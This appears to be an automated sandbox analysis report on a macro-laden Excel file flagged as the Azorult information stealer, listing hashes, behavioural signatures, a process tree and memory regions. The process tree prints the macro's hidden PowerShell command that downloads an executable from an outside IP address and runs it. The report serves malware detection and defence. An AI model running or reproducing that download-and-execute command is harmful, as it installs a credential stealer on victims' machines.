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Resubmissions

11/06/2024, 09:20

240611-la58ha1hnf 10

11/06/2024, 09:18

240611-k9pt5a1hke 10

31/05/2024, 08:15

240531-j5p4nach79 10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 08:15

General

  • Target

    Copy0761000025.xlsm

  • Size

    430KB

  • MD5

    d01710a02c214a5f6e0197fd291c0b10

  • SHA1

    3b2ed35df644d1684660543c56370dc8686e1a53

  • SHA256

    b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d

  • SHA512

    45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5

  • SSDEEP

    12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM

Malware Config

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Users\Admin\AppData\Local\Temp\tmp4788.exe
        "C:\Users\Admin\AppData\Local\Temp\tmp4788.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3744

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yosclegy.pxp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp4788.exe

      Filesize

      195KB

      MD5

      0089e341efa862f22d3af9894d1c5448

      SHA1

      4d55c851eccec68786c88b064bcf35c1233393f3

      SHA256

      bfc1cdded42adb884fb46ba53e2f023d0c27d46cf8645614094f5714ebbfb9a8

      SHA512

      ea2c3b6cd6759b11017c58f7948d04fbafc96474190ca2162ff2486dddcd4fc83074ffd055a3367bb783475787cecb6401248344eb0cec787ef7b5dd7fb96ad4

    • memory/736-116-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-104-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-4956-0x0000000005840000-0x0000000005894000-memory.dmp

      Filesize

      336KB

    • memory/736-4955-0x00000000057D0000-0x000000000581C000-memory.dmp

      Filesize

      304KB

    • memory/736-86-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-4954-0x0000000005480000-0x00000000054E6000-memory.dmp

      Filesize

      408KB

    • memory/736-88-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-90-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-92-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-96-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-98-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-102-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-106-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-108-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-110-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-78-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-112-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-70-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-114-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-72-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-119-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-74-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-59-0x00000000001E0000-0x0000000000212000-memory.dmp

      Filesize

      200KB

    • memory/736-60-0x0000000005B50000-0x0000000005D7A000-memory.dmp

      Filesize

      2.2MB

    • memory/736-61-0x0000000006330000-0x00000000068D4000-memory.dmp

      Filesize

      5.6MB

    • memory/736-62-0x0000000005E70000-0x0000000005F02000-memory.dmp

      Filesize

      584KB

    • memory/736-63-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-68-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-76-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-66-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-64-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-100-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-84-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-94-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-82-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/736-80-0x0000000005B50000-0x0000000005D73000-memory.dmp

      Filesize

      2.1MB

    • memory/2152-58-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/2152-32-0x000001F045E20000-0x000001F045E42000-memory.dmp

      Filesize

      136KB

    • memory/2152-31-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-30-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-6-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-5-0x00007FFAFA22D000-0x00007FFAFA22E000-memory.dmp

      Filesize

      4KB

    • memory/3964-3-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

      Filesize

      64KB

    • memory/3964-2-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

      Filesize

      64KB

    • memory/3964-4-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

      Filesize

      64KB

    • memory/3964-29-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-16-0x00007FFAB79D0000-0x00007FFAB79E0000-memory.dmp

      Filesize

      64KB

    • memory/3964-14-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-15-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-11-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-13-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-12-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-10-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-9-0x00007FFAB79D0000-0x00007FFAB79E0000-memory.dmp

      Filesize

      64KB

    • memory/3964-0-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

      Filesize

      64KB

    • memory/3964-1-0x00007FFABA210000-0x00007FFABA220000-memory.dmp

      Filesize

      64KB

    • memory/3964-8-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-7-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-4971-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB

    • memory/3964-4992-0x00007FFAFA190000-0x00007FFAFA385000-memory.dmp

      Filesize

      2.0MB